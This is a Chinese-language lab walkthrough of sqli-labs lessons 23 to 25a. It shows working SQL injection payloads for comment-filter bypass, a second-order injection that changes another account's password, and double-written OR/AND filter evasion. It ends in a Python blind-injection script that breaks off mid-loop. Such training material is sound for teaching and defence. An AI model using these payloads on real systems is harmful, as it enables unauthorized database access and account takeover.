Less 23-28a
Less 23 GET - Error based - strip comments
这一关还是使用get方法进行注入,不过这次对#
、--+
这些用于注释的字符做了过滤。这样我们可以使用两个'
进行绕过,第一个'
用于闭合原代码语句中的前一个'
,后一个用来闭合源代码语句中的后一个'
。在两个单引号中间加上我们想要执行的sql语句即可。
在id参数上传入代码
id=-1' union select 1,2,3 '
发现回显的部分还是与基础部分的效果一样,也就是回显3列的查询,显示出的是第2,3列的内容。
那么,就可以正常注入了,在union select的第2或3的位置放上查询的payload
id=-1' union select 1,2,database() '
查询成功。
Less 24 POST- Second Oder Injections *Real treat* - Stored injection
这一关为二次排序注入,也叫存储型的注入,具体是将可能导致sql注入的字符先存入到数据库中,当再次调用这个而已构造的字符时,就可以实现sql注入。
在这一关中,假设我们要改掉数据库中原本的一个名为Dumb的账号的密码,我们可以先注册一个名为Dumb' --
的用户(),密码设成123(随便一个自己能记住的数)。
注册成功
查看数据库,发现输入的用户名原封不动被放了进去,没有进行过滤。
然后我们使用Dumb' --
这个账号进行登录。
登录成功,在这个页面可以更改当前帐号的密码,改一下试试。这里改成了111。
来数据库看一眼,发现我们创建的Dumb' --
账号的密码没有改,而数据库中原本的Dumb
账号的密码被改成了111。
用111这个密码尝试登陆Dumb账号
登陆成功。
看一下源码,看看为什么会这样
源码中更新数据库密码的sql语句如下所示。
UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
当我们将用户名为Dumb' --
的账号密码改为111时,这个sql语句就变为了:
UPDATE users SET PASSWORD='111' where username='Dumb' -- ' and password='$curr_pass'
--
后面的语句就都被注释掉了,原语句中还有对当前账户原密码的检查也一同被注释掉了,这样这个语句就变成了把Dumb
账号的密码改为111。
Less 25 GET - Error based - All your OR & AND belong to us - String single quotes
这一关过滤了字符串and
和or
,不过经过尝试,这里只是对这两个字符串删除了一次,可以使用双写技巧轻易绕过。
-1' oorr 1=1 --+
剩下的流程就跟前几关相同了,这里使用union select
查询数据库名。
查询成功。
Less 25a GET - Blind Based - All your OR & AND belong to us -integer based
这一关是过滤了or和and字符的bool型盲注,与上一关相同,这两个字符串都只过滤了一遍,一样的,改一下之前用过的get方法盲注的脚本。
from lxml import html
import requests
def getCheck(url,xpath,payload):
r=requests.get(url+payload)
tree=html.fromstring(r.text)
check=tree.xpath(xpath)
if('Your Login name' in check[0]):
return 1
else:
return 0
def database_length(url,xpath):
length=0
for i in range(1,30):
payload=" aandnd length((select database()))<%s --+"%i
check=getCheck(url,xpath,payload)
if(check):
break
else:
length+=1
print('Database length:'+str(length))
return length
def database_name(url,xpath,dbl):
dbname=''
for i in range(1,dbl+1):
for j in range(97<